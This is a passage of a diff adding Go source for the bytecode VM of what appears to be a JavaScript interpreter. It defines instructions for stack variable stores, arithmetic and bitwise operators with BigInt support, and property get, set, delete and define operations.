struct{} + +var loadCallee _loadCallee + +func (_loadCallee) exec(vm *vm) { + vm.push(vm.stack[vm.sb-1]) + vm.pc++ +} + +func (vm *vm) storeStack(s int) { + // l > 0 -- var + + if s > 0 { + vm.stack[vm.sb+vm.args+s] = vm.stack[vm.sp-1] + } else { + panic("Illegal stack var index") + } + vm.pc++ +} + +func (vm *vm) storeStack1(s int) { + // args are in stash + // l > 0 -- var + + if s > 0 { + vm.stack[vm.sb+s] = vm.stack[vm.sp-1] + } else { + panic("Illegal stack var index") + } + vm.pc++ +} + +func (vm *vm) storeStackLex(s int) { + // l < 0 -- arg<-l-1> + // l > 0 -- var + var p *Value + if s < 0 { + p = &vm.stack[vm.sb-s] + } else { + p = &vm.stack[vm.sb+vm.args+s] + } + + if *p != nil { + *p = vm.stack[vm.sp-1] + } else { + panic(errAccessBeforeInit) + } + vm.pc++ +} + +func (vm *vm) storeStack1Lex(s int) { + // args are in stash + // s > 0 -- var + if s <= 0 { + panic("Illegal stack var index") + } + p := &vm.stack[vm.sb+s] + if *p != nil { + *p = vm.stack[vm.sp-1] + } else { + panic(errAccessBeforeInit) + } + vm.pc++ +} + +func (vm *vm) initStack(s int) { + if s <= 0 { + vm.stack[vm.sb-s] = vm.stack[vm.sp-1] + } else { + vm.stack[vm.sb+vm.args+s] = vm.stack[vm.sp-1] + } + vm.pc++ +} + +func (vm *vm) initStack1(s int) { + if s <= 0 { + panic("Illegal stack var index") + } + vm.stack[vm.sb+s] = vm.stack[vm.sp-1] + vm.pc++ +} + +type storeStack int + +func (s storeStack) exec(vm *vm) { + vm.storeStack(int(s)) +} + +type storeStack1 int + +func (s storeStack1) exec(vm *vm) { + vm.storeStack1(int(s)) +} + +type storeStackLex int + +func (s storeStackLex) exec(vm *vm) { + vm.storeStackLex(int(s)) +} + +type storeStack1Lex int + +func (s storeStack1Lex) exec(vm *vm) { + vm.storeStack1Lex(int(s)) +} + +type initStack int + +func (s initStack) exec(vm *vm) { + vm.initStack(int(s)) +} + +type initStackP int + +func (s initStackP) exec(vm *vm) { + vm.initStack(int(s)) + vm.sp-- +} + +type initStack1 int + +func (s initStack1) exec(vm *vm) { + vm.initStack1(int(s)) +} + +type initStack1P int + +func (s initStack1P) exec(vm *vm) { + vm.initStack1(int(s)) + vm.sp-- +} + +type storeStackP int + +func (s storeStackP) exec(vm *vm) { + vm.storeStack(int(s)) + vm.sp-- +} + +type storeStack1P int + +func (s storeStack1P) exec(vm *vm) { + vm.storeStack1(int(s)) + vm.sp-- +} + +type storeStackLexP int + +func (s storeStackLexP) exec(vm *vm) { + vm.storeStackLex(int(s)) + vm.sp-- +} + +type storeStack1LexP int + +func (s storeStack1LexP) exec(vm *vm) { + vm.storeStack1Lex(int(s)) + vm.sp-- +} + +type _toNumber struct{} + +var toNumber _toNumber + +func (_toNumber) exec(vm *vm) { + vm.stack[vm.sp-1] = toNumeric(vm.stack[vm.sp-1]) + vm.pc++ +} + +type _add struct{} + +var add _add + +func (_add) exec(vm *vm) { + right := vm.stack[vm.sp-1] + left := vm.stack[vm.sp-2] + + if o, ok := left.(*Object); ok { + left = o.toPrimitive() + } + + if o, ok := right.(*Object); ok { + right = o.toPrimitive() + } + + var ret Value + + leftString, isLeftString := left.(String) + rightString, isRightString := right.(String) + + if isLeftString || isRightString { + if !isLeftString { + leftString = left.toString() + } + if !isRightString { + rightString = right.toString() + } + ret = leftString.Concat(rightString) + } else { + switch left := left.(type) { + case valueInt: + switch right := right.(type) { + case valueInt: + ret = intToValue(int64(left) + int64(right)) + case *valueBigInt: + panic(errMixBigIntType) + default: + ret = floatToValue(float64(left) + right.ToFloat()) + } + case *valueBigInt: + if right, ok := right.(*valueBigInt); ok { + ret = (*valueBigInt)(new(big.Int).Add((*big.Int)(left), (*big.Int)(right))) + } else { + panic(errMixBigIntType) + } + default: + if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + ret = floatToValue(left.ToFloat() + right.ToFloat()) + } + } + + vm.stack[vm.sp-2] = ret + vm.sp-- + vm.pc++ +} + +type _sub struct{} + +var sub _sub + +func (_sub) exec(vm *vm) { + right := vm.stack[vm.sp-1] + left := vm.stack[vm.sp-2] + + left = toNumeric(left) + right = toNumeric(right) + + var result Value + + switch left := left.(type) { + case valueInt: + switch right := right.(type) { + case valueInt: + result = intToValue(int64(left) - int64(right)) + goto end + case *valueBigInt: + panic(errMixBigIntType) + } + case valueFloat: + if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + case *valueBigInt: + if right, ok := right.(*valueBigInt); ok { + result = (*valueBigInt)(new(big.Int).Sub((*big.Int)(left), (*big.Int)(right))) + goto end + } + panic(errMixBigIntType) + } + + result = floatToValue(left.ToFloat() - right.ToFloat()) +end: + vm.sp-- + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _mul struct{} + +var mul _mul + +func (_mul) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + + var result Value + + switch left := left.(type) { + case valueInt: + switch right := right.(type) { + case valueInt: + if left == 0 && right == -1 || left == -1 && right == 0 { + result = _negativeZero + goto end + } + res := left * right + // check for overflow + if left == 0 || right == 0 || res/left == right { + result = intToValue(int64(res)) + goto end + } + case *valueBigInt: + panic(errMixBigIntType) + } + case valueFloat: + if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + case *valueBigInt: + if right, ok := right.(*valueBigInt); ok { + result = (*valueBigInt)(new(big.Int).Mul((*big.Int)(left), (*big.Int)(right))) + goto end + } + panic(errMixBigIntType) + } + + result = floatToValue(left.ToFloat() * right.ToFloat()) + +end: + vm.sp-- + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _exp struct{} + +var exp _exp + +func (_exp) exec(vm *vm) { + vm.sp-- + x := vm.stack[vm.sp-1] + y := vm.stack[vm.sp] + + x = toNumeric(x) + y = toNumeric(y) + + var result Value + if x, ok := x.(*valueBigInt); ok { + if y, ok := y.(*valueBigInt); ok { + if (*big.Int)(y).Cmp(big.NewInt(0)) < 0 { + panic(vm.r.newError(vm.r.getRangeError(), "exponent must be positive")) + } + result = (*valueBigInt)(new(big.Int).Exp((*big.Int)(x), (*big.Int)(y), nil)) + goto end + } + panic(errMixBigIntType) + } else if _, ok := y.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = pow(x, y) +end: + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _div struct{} + +var div _div + +func (_div) exec(vm *vm) { + leftValue := toNumeric(vm.stack[vm.sp-2]) + rightValue := toNumeric(vm.stack[vm.sp-1]) + + var ( + result Value + left, right float64 + ) + + if left, ok := leftValue.(*valueBigInt); ok { + if right, ok := rightValue.(*valueBigInt); ok { + if (*big.Int)(right).Cmp(big.NewInt(0)) == 0 { + panic(vm.r.newError(vm.r.getRangeError(), "Division by zero")) + } + if (*big.Int)(left).CmpAbs((*big.Int)(right)) < 0 { + result = (*valueBigInt)(big.NewInt(0)) + } else { + i, _ := new(big.Int).QuoRem((*big.Int)(left), (*big.Int)(right), big.NewInt(0)) + result = (*valueBigInt)(i) + } + goto end + } + panic(errMixBigIntType) + } else if _, ok := rightValue.(*valueBigInt); ok { + panic(errMixBigIntType) + } + left, right = leftValue.ToFloat(), rightValue.ToFloat() + + if math.IsNaN(left) || math.IsNaN(right) { + result = _NaN + goto end + } + if math.IsInf(left, 0) && math.IsInf(right, 0) { + result = _NaN + goto end + } + if left == 0 && right == 0 { + result = _NaN + goto end + } + + if math.IsInf(left, 0) { + if math.Signbit(left) == math.Signbit(right) { + result = _positiveInf + goto end + } else { + result = _negativeInf + goto end + } + } + if math.IsInf(right, 0) { + if math.Signbit(left) == math.Signbit(right) { + result = _positiveZero + goto end + } else { + result = _negativeZero + goto end + } + } + if right == 0 { + if math.Signbit(left) == math.Signbit(right) { + result = _positiveInf + goto end + } else { + result = _negativeInf + goto end + } + } + + result = floatToValue(left / right) + +end: + vm.sp-- + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _mod struct{} + +var mod _mod + +func (_mod) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + + var result Value + + switch left := left.(type) { + case valueInt: + switch right := right.(type) { + case valueInt: + if right == 0 { + result = _NaN + goto end + } + r := left % right + if r == 0 && left < 0 { + result = _negativeZero + } else { + result = intToValue(int64(left % right)) + } + goto end + case *valueBigInt: + panic(errMixBigIntType) + } + case valueFloat: + if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + case *valueBigInt: + if right, ok := right.(*valueBigInt); ok { + switch { + case (*big.Int)(right).Cmp(big.NewInt(0)) == 0: + panic(vm.r.newError(vm.r.getRangeError(), "Division by zero")) + case (*big.Int)(left).Cmp(big.NewInt(0)) < 0: + abs := new(big.Int).Abs((*big.Int)(left)) + v := new(big.Int).Mod(abs, (*big.Int)(right)) + result = (*valueBigInt)(v.Neg(v)) + default: + result = (*valueBigInt)(new(big.Int).Mod((*big.Int)(left), (*big.Int)(right))) + } + goto end + } + panic(errMixBigIntType) + } + + result = floatToValue(math.Mod(left.ToFloat(), right.ToFloat())) +end: + vm.sp-- + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _neg struct{} + +var neg _neg + +func (_neg) exec(vm *vm) { + operand := vm.stack[vm.sp-1] + + var result Value + + switch n := toNumeric(operand).(type) { + case *valueBigInt: + result = (*valueBigInt)(new(big.Int).Neg((*big.Int)(n))) + case valueInt: + if n == 0 { + result = _negativeZero + } else { + result = -n + } + default: + f := operand.ToFloat() + if !math.IsNaN(f) { + f = -f + } + result = valueFloat(f) + } + + vm.stack[vm.sp-1] = result + vm.pc++ +} + +type _plus struct{} + +var plus _plus + +func (_plus) exec(vm *vm) { + vm.stack[vm.sp-1] = vm.stack[vm.sp-1].ToNumber() + vm.pc++ +} + +type _inc struct{} + +var inc _inc + +func (_inc) exec(vm *vm) { + v := vm.stack[vm.sp-1] + + switch n := v.(type) { + case *valueBigInt: + v = (*valueBigInt)(new(big.Int).Add((*big.Int)(n), big.NewInt(1))) + case valueInt: + v = intToValue(int64(n + 1)) + default: + v = valueFloat(n.ToFloat() + 1) + } + + vm.stack[vm.sp-1] = v + vm.pc++ +} + +type _dec struct{} + +var dec _dec + +func (_dec) exec(vm *vm) { + v := vm.stack[vm.sp-1] + + switch n := v.(type) { + case *valueBigInt: + v = (*valueBigInt)(new(big.Int).Sub((*big.Int)(n), big.NewInt(1))) + case valueInt: + v = intToValue(int64(n - 1)) + default: + v = valueFloat(n.ToFloat() - 1) + } + + vm.stack[vm.sp-1] = v + vm.pc++ +} + +type _and struct{} + +var and _and + +func (_and) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + var result Value + + if left, ok := left.(*valueBigInt); ok { + if right, ok := right.(*valueBigInt); ok { + result = (*valueBigInt)(new(big.Int).And((*big.Int)(left), (*big.Int)(right))) + goto end + } + panic(errMixBigIntType) + } else if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = intToValue(int64(toInt32(left) & toInt32(right))) +end: + vm.stack[vm.sp-2] = result + vm.sp-- + vm.pc++ +} + +type _or struct{} + +var or _or + +func (_or) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + var result Value + + if left, ok := left.(*valueBigInt); ok { + if right, ok := right.(*valueBigInt); ok { + result = (*valueBigInt)(new(big.Int).Or((*big.Int)(left), (*big.Int)(right))) + goto end + } + panic(errMixBigIntType) + } else if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = intToValue(int64(toInt32(left) | toInt32(right))) +end: + vm.stack[vm.sp-2] = result + vm.sp-- + vm.pc++ +} + +type _xor struct{} + +var xor _xor + +func (_xor) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + var result Value + + if left, ok := left.(*valueBigInt); ok { + if right, ok := right.(*valueBigInt); ok { + result = (*valueBigInt)(new(big.Int).Xor((*big.Int)(left), (*big.Int)(right))) + goto end + } + panic(errMixBigIntType) + } else if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = intToValue(int64(toInt32(left) ^ toInt32(right))) +end: + vm.stack[vm.sp-2] = result + vm.sp-- + vm.pc++ +} + +type _bnot struct{} + +var bnot _bnot + +func (_bnot) exec(vm *vm) { + v := vm.stack[vm.sp-1] + switch n := toNumeric(v).(type) { + case *valueBigInt: + v = (*valueBigInt)(new(big.Int).Not((*big.Int)(n))) + default: + v = intToValue(int64(^toInt32(n))) + } + vm.stack[vm.sp-1] = v + vm.pc++ +} + +type _sal struct{} + +var sal _sal + +func (_sal) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + var result Value + + if left, ok := left.(*valueBigInt); ok { + if right, ok := right.(*valueBigInt); ok { + n := uint((*big.Int)(right).Uint64()) + if (*big.Int)(right).Sign() < 0 { + result = (*valueBigInt)(new(big.Int).Rsh((*big.Int)(left), n)) + } else { + result = (*valueBigInt)(new(big.Int).Lsh((*big.Int)(left), n)) + } + goto end + } + panic(errMixBigIntType) + } else if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = intToValue(int64(toInt32(left) << (toUint32(right) & 0x1F))) +end: + vm.stack[vm.sp-2] = result + vm.sp-- + vm.pc++ +} + +type _sar struct{} + +var sar _sar + +func (_sar) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + var result Value + + if left, ok := left.(*valueBigInt); ok { + if right, ok := right.(*valueBigInt); ok { + n := uint((*big.Int)(right).Uint64()) + if (*big.Int)(right).Sign() < 0 { + result = (*valueBigInt)(new(big.Int).Lsh((*big.Int)(left), n)) + } else { + result = (*valueBigInt)(new(big.Int).Rsh((*big.Int)(left), n)) + } + goto end + } + panic(errMixBigIntType) + } else if _, ok := right.(*valueBigInt); ok { + panic(errMixBigIntType) + } + + result = intToValue(int64(toInt32(left) >> (toUint32(right) & 0x1F))) +end: + vm.stack[vm.sp-2] = result + vm.sp-- + vm.pc++ +} + +type _shr struct{} + +var shr _shr + +func (_shr) exec(vm *vm) { + left := toNumeric(vm.stack[vm.sp-2]) + right := toNumeric(vm.stack[vm.sp-1]) + + if _, ok := left.(*valueBigInt); ok { + _ = toNumeric(right) + panic(vm.r.NewTypeError("BigInts have no unsigned right shift, use >> instead")) + } else if _, ok := right.(*valueBigInt); ok { + panic(vm.r.NewTypeError("BigInts have no unsigned right shift, use >> instead")) + } + + vm.stack[vm.sp-2] = intToValue(int64(toUint32(left) >> (toUint32(right) & 0x1F))) + vm.sp-- + vm.pc++ +} + +type jump int32 + +func (j jump) exec(vm *vm) { + vm.pc += int(j) +} + +type _toPropertyKey struct{} + +func (_toPropertyKey) exec(vm *vm) { + p := vm.sp - 1 + vm.stack[p] = toPropertyKey(vm.stack[p]) + vm.pc++ +} + +type _toString struct{} + +func (_toString) exec(vm *vm) { + p := vm.sp - 1 + vm.stack[p] = vm.stack[p].toString() + vm.pc++ +} + +type _getElemRef struct{} + +var getElemRef _getElemRef + +func (_getElemRef) exec(vm *vm) { + obj := vm.stack[vm.sp-2].ToObject(vm.r) + propName := vm.stack[vm.sp-1] + vm.refStack = append(vm.refStack, &objRef{ + base: obj, + name: propName, + }) + vm.sp -= 2 + vm.pc++ +} + +type _getElemRefRecv struct{} + +var getElemRefRecv _getElemRefRecv + +func (_getElemRefRecv) exec(vm *vm) { + obj := vm.stack[vm.sp-1].ToObject(vm.r) + propName := vm.stack[vm.sp-2] + vm.refStack = append(vm.refStack, &objRef{ + base: obj, + name: propName, + this: vm.stack[vm.sp-3], + }) + vm.sp -= 3 + vm.pc++ +} + +type _getElemRefStrict struct{} + +var getElemRefStrict _getElemRefStrict + +func (_getElemRefStrict) exec(vm *vm) { + obj := vm.stack[vm.sp-2].ToObject(vm.r) + propName := vm.stack[vm.sp-1] + vm.refStack = append(vm.refStack, &objRef{ + base: obj, + name: propName, + strict: true, + }) + vm.sp -= 2 + vm.pc++ +} + +type _getElemRefRecvStrict struct{} + +var getElemRefRecvStrict _getElemRefRecvStrict + +func (_getElemRefRecvStrict) exec(vm *vm) { + obj := vm.stack[vm.sp-1].ToObject(vm.r) + propName := vm.stack[vm.sp-2] + vm.refStack = append(vm.refStack, &objRef{ + base: obj, + name: propName, + this: vm.stack[vm.sp-3], + strict: true, + }) + vm.sp -= 3 + vm.pc++ +} + +type _setElem struct{} + +var setElem _setElem + +func (_setElem) exec(vm *vm) { + obj := vm.stack[vm.sp-3].ToObject(vm.r) + propName := toPropertyKey(vm.stack[vm.sp-2]) + val := vm.stack[vm.sp-1] + + obj.setOwn(propName, val, false) + + vm.sp -= 2 + vm.stack[vm.sp-1] = val + vm.pc++ +} + +type _setElem1 struct{} + +var setElem1 _setElem1 + +func (_setElem1) exec(vm *vm) { + obj := vm.stack[vm.sp-3].ToObject(vm.r) + propName := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + + obj.setOwn(propName, val, true) + + vm.sp -= 2 + vm.pc++ +} + +type _setElem1Named struct{} + +var setElem1Named _setElem1Named + +func (_setElem1Named) exec(vm *vm) { + receiver := vm.stack[vm.sp-3] + base := receiver.ToObject(vm.r) + propName := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + vm.r.toObject(val).self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: funcName("", propName), + Configurable: FLAG_TRUE, + }, true) + base.set(propName, val, receiver, true) + + vm.sp -= 2 + vm.pc++ +} + +type defineMethod struct { + enumerable bool +} + +func (d *defineMethod) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-3]) + propName := vm.stack[vm.sp-2] + method := vm.r.toObject(vm.stack[vm.sp-1]) + method.self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: funcName("", propName), + Configurable: FLAG_TRUE, + }, true) + obj.defineOwnProperty(propName, PropertyDescriptor{ + Value: method, + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: ToFlag(d.enumerable), + }, true) + + vm.sp -= 2 + vm.pc++ +} + +type _setElemP struct{} + +var setElemP _setElemP + +func (_setElemP) exec(vm *vm) { + obj := vm.stack[vm.sp-3].ToObject(vm.r) + propName := toPropertyKey(vm.stack[vm.sp-2]) + val := vm.stack[vm.sp-1] + + obj.setOwn(propName, val, false) + + vm.sp -= 3 + vm.pc++ +} + +type _setElemStrict struct{} + +var setElemStrict _setElemStrict + +func (_setElemStrict) exec(vm *vm) { + propName := toPropertyKey(vm.stack[vm.sp-2]) + receiver := vm.stack[vm.sp-3] + val := vm.stack[vm.sp-1] + if receiverObj, ok := receiver.(*Object); ok { + receiverObj.setOwn(propName, val, true) + } else { + base := receiver.ToObject(vm.r) + base.set(propName, val, receiver, true) + } + + vm.sp -= 2 + vm.stack[vm.sp-1] = val + vm.pc++ +} + +type _setElemRecv struct{} + +var setElemRecv _setElemRecv + +func (_setElemRecv) exec(vm *vm) { + receiver := vm.stack[vm.sp-4] + propName := toPropertyKey(vm.stack[vm.sp-3]) + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + if obj, ok := o.(*Object); ok { + obj.set(propName, val, receiver, false) + } else { + base := o.ToObject(vm.r) + base.set(propName, val, receiver, false) + } + + vm.sp -= 3 + vm.stack[vm.sp-1] = val + vm.pc++ +} + +type _setElemRecvStrict struct{} + +var setElemRecvStrict _setElemRecvStrict + +func (_setElemRecvStrict) exec(vm *vm) { + receiver := vm.stack[vm.sp-4] + propName := toPropertyKey(vm.stack[vm.sp-3]) + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + if obj, ok := o.(*Object); ok { + obj.set(propName, val, receiver, true) + } else { + base := o.ToObject(vm.r) + base.set(propName, val, receiver, true) + } + + vm.sp -= 3 + vm.stack[vm.sp-1] = val + vm.pc++ +} + +type _setElemStrictP struct{} + +var setElemStrictP _setElemStrictP + +func (_setElemStrictP) exec(vm *vm) { + propName := toPropertyKey(vm.stack[vm.sp-2]) + receiver := vm.stack[vm.sp-3] + val := vm.stack[vm.sp-1] + if receiverObj, ok := receiver.(*Object); ok { + receiverObj.setOwn(propName, val, true) + } else { + base := receiver.ToObject(vm.r) + base.set(propName, val, receiver, true) + } + + vm.sp -= 3 + vm.pc++ +} + +type _setElemRecvP struct{} + +var setElemRecvP _setElemRecvP + +func (_setElemRecvP) exec(vm *vm) { + receiver := vm.stack[vm.sp-4] + propName := toPropertyKey(vm.stack[vm.sp-3]) + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + if obj, ok := o.(*Object); ok { + obj.set(propName, val, receiver, false) + } else { + base := o.ToObject(vm.r) + base.set(propName, val, receiver, false) + } + + vm.sp -= 4 + vm.pc++ +} + +type _setElemRecvStrictP struct{} + +var setElemRecvStrictP _setElemRecvStrictP + +func (_setElemRecvStrictP) exec(vm *vm) { + receiver := vm.stack[vm.sp-4] + propName := toPropertyKey(vm.stack[vm.sp-3]) + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + if obj, ok := o.(*Object); ok { + obj.set(propName, val, receiver, true) + } else { + base := o.ToObject(vm.r) + base.set(propName, val, receiver, true) + } + + vm.sp -= 4 + vm.pc++ +} + +type _deleteElem struct{} + +var deleteElem _deleteElem + +func (_deleteElem) exec(vm *vm) { + obj := vm.stack[vm.sp-2].ToObject(vm.r) + propName := toPropertyKey(vm.stack[vm.sp-1]) + if obj.delete(propName, false) { + vm.stack[vm.sp-2] = valueTrue + } else { + vm.stack[vm.sp-2] = valueFalse + } + vm.sp-- + vm.pc++ +} + +type _deleteElemStrict struct{} + +var deleteElemStrict _deleteElemStrict + +func (_deleteElemStrict) exec(vm *vm) { + obj := vm.stack[vm.sp-2].ToObject(vm.r) + propName := toPropertyKey(vm.stack[vm.sp-1]) + obj.delete(propName, true) + vm.stack[vm.sp-2] = valueTrue + vm.sp-- + vm.pc++ +} + +type deleteProp unistring.String + +func (d deleteProp) exec(vm *vm) { + obj := vm.stack[vm.sp-1].ToObject(vm.r) + if obj.self.deleteStr(unistring.String(d), false) { + vm.stack[vm.sp-1] = valueTrue + } else { + vm.stack[vm.sp-1] = valueFalse + } + vm.pc++ +} + +type deletePropStrict unistring.String + +func (d deletePropStrict) exec(vm *vm) { + obj := vm.stack[vm.sp-1].ToObject(vm.r) + obj.self.deleteStr(unistring.String(d), true) + vm.stack[vm.sp-1] = valueTrue + vm.pc++ +} + +type getPropRef unistring.String + +func (p getPropRef) exec(vm *vm) { + vm.refStack = append(vm.refStack, &objStrRef{ + base: vm.stack[vm.sp-1].ToObject(vm.r), + name: unistring.String(p), + }) + vm.sp-- + vm.pc++ +} + +type getPropRefRecv unistring.String + +func (p getPropRefRecv) exec(vm *vm) { + vm.refStack = append(vm.refStack, &objStrRef{ + this: vm.stack[vm.sp-2], + base: vm.stack[vm.sp-1].ToObject(vm.r), + name: unistring.String(p), + }) + vm.sp -= 2 + vm.pc++ +} + +type getPropRefStrict unistring.String + +func (p getPropRefStrict) exec(vm *vm) { + vm.refStack = append(vm.refStack, &objStrRef{ + base: vm.stack[vm.sp-1].ToObject(vm.r), + name: unistring.String(p), + strict: true, + }) + vm.sp-- + vm.pc++ +} + +type getPropRefRecvStrict unistring.String + +func (p getPropRefRecvStrict) exec(vm *vm) { + vm.refStack = append(vm.refStack, &objStrRef{ + this: vm.stack[vm.sp-2], + base: vm.stack[vm.sp-1].ToObject(vm.r), + name: unistring.String(p), + strict: true, + }) + vm.sp -= 2 + vm.pc++ +} + +type setProp unistring.String + +func (p setProp) exec(vm *vm) { + val := vm.stack[vm.sp-1] + vm.stack[vm.sp-2].ToObject(vm.r).self.setOwnStr(unistring.String(p), val, false) + vm.stack[vm.sp-2] = val + vm.sp-- + vm.pc++ +} + +type setPropP unistring.String + +func (p setPropP) exec(vm *vm) { + val := vm.stack[vm.sp-1] + vm.stack[vm.sp-2].ToObject(vm.r).self.setOwnStr(unistring.String(p), val, false) + vm.sp -= 2 + vm.pc++ +} + +type setPropStrict unistring.String + +func (p setPropStrict) exec(vm *vm) { + receiver := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if receiverObj, ok := receiver.(*Object); ok { + receiverObj.self.setOwnStr(propName, val, true) + } else { + base := receiver.ToObject(vm.r) + base.setStr(propName, val, receiver, true) + } + + vm.stack[vm.sp-2] = val + vm.sp-- + vm.pc++ +} + +type setPropRecv unistring.String + +func (p setPropRecv) exec(vm *vm) { + receiver := vm.stack[vm.sp-3] + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if obj, ok := o.(*Object); ok { + obj.setStr(propName, val, receiver, false) + } else { + base := o.ToObject(vm.r) + base.setStr(propName, val, receiver, false) + } + + vm.stack[vm.sp-3] = val + vm.sp -= 2 + vm.pc++ +} + +type setPropRecvStrict unistring.String + +func (p setPropRecvStrict) exec(vm *vm) { + receiver := vm.stack[vm.sp-3] + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if obj, ok := o.(*Object); ok { + obj.setStr(propName, val, receiver, true) + } else { + base := o.ToObject(vm.r) + base.setStr(propName, val, receiver, true) + } + + vm.stack[vm.sp-3] = val + vm.sp -= 2 + vm.pc++ +} + +type setPropRecvP unistring.String + +func (p setPropRecvP) exec(vm *vm) { + receiver := vm.stack[vm.sp-3] + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if obj, ok := o.(*Object); ok { + obj.setStr(propName, val, receiver, false) + } else { + base := o.ToObject(vm.r) + base.setStr(propName, val, receiver, false) + } + + vm.sp -= 3 + vm.pc++ +} + +type setPropRecvStrictP unistring.String + +func (p setPropRecvStrictP) exec(vm *vm) { + receiver := vm.stack[vm.sp-3] + o := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if obj, ok := o.(*Object); ok { + obj.setStr(propName, val, receiver, true) + } else { + base := o.ToObject(vm.r) + base.setStr(propName, val, receiver, true) + } + + vm.sp -= 3 + vm.pc++ +} + +type setPropStrictP unistring.String + +func (p setPropStrictP) exec(vm *vm) { + receiver := vm.stack[vm.sp-2] + val := vm.stack[vm.sp-1] + propName := unistring.String(p) + if receiverObj, ok := receiver.(*Object); ok { + receiverObj.self.setOwnStr(propName, val, true) + } else { + base := receiver.ToObject(vm.r) + base.setStr(propName, val, receiver, true) + } + + vm.sp -= 2 + vm.pc++ +} + +type putProp unistring.String + +func (p putProp) exec(vm *vm) { + vm.r.toObject(vm.stack[vm.sp-2]).self._putProp(unistring.String(p), vm.stack[vm.sp-1], true, true, true) + + vm.sp-- + vm.pc++ +} + +// used in class declarations instead of putProp because DefineProperty must be observable by Proxy +type definePropKeyed unistring.String + +func (p definePropKeyed) exec(vm *vm) { + vm.r.toObject(vm.stack[vm.sp-2]).self.defineOwnPropertyStr(unistring.String(p), PropertyDescriptor{ + Value: vm.stack[vm.sp-1], + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + }, true) + + vm.sp-- + vm.pc++ +} + +type defineProp struct{} + +func (defineProp) exec(vm *vm) { + vm.r.toObject(vm.stack[vm.sp-3]).defineOwnProperty(vm.stack[vm.sp-2], PropertyDescriptor{ + Value: vm.stack[vm.sp-1], + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: FLAG_TRUE, + }, true) + + vm.sp -= 2 + vm.pc++ +} + +type defineMethodKeyed struct { + key unistring.String + enumerable bool +} + +func (d *defineMethodKeyed) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-2]) + method := vm.r.toObject(vm.stack[vm.sp-1]) + + obj.self.defineOwnPropertyStr(d.key, PropertyDescriptor{ + Value: method, + Writable: FLAG_TRUE, + Configurable: FLAG_TRUE, + Enumerable: ToFlag(d.enumerable), + }, true) + + vm.sp-- + vm.pc++ +} + +type _setProto struct{} + +var setProto _setProto + +func (_setProto) exec(vm *vm) { + vm.r.setObjectProto(vm.stack[vm.sp-2], vm.stack[vm.sp-1]) + + vm.sp-- + vm.pc++ +} + +type defineGetterKeyed struct { + key unistring.String + enumerable bool +} + +func (s *defineGetterKeyed) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-2]) + val := vm.stack[vm.sp-1] + method := vm.r.toObject(val) + method.self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: asciiString("get ").Concat(stringValueFromRaw(s.key)), + Configurable: FLAG_TRUE, + }, true) + descr := PropertyDescriptor{ + Getter: val, + Configurable: FLAG_TRUE, + Enumerable: ToFlag(s.enumerable), + } + + obj.self.defineOwnPropertyStr(s.key, descr, true) + + vm.sp-- + vm.pc++ +} + +type defineSetterKeyed struct { + key unistring.String + enumerable bool +} + +func (s *defineSetterKeyed) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-2]) + val := vm.stack[vm.sp-1] + method := vm.r.toObject(val) + method.self.defineOwnPropertyStr("name", PropertyDescriptor{ + Value: asciiString("set ").Concat(stringValueFromRaw(s.key)), + Configurable: FLAG_TRUE, + }, true) + + descr := PropertyDescriptor{ + Setter: val, + Configurable: FLAG_TRUE, + Enumerable: ToFlag(s.enumerable), + } + + obj.self.defineOwnPropertyStr(s.key, descr, true) + + vm.sp-- + vm.pc++ +} + +type defineGetter struct { + enumerable bool +} + +func (s *defineGetter) exec(vm *vm) { + obj := vm.r.toObject(vm.stack[vm.sp-3]) + propName := vm.stack[vm.sp-2] + val 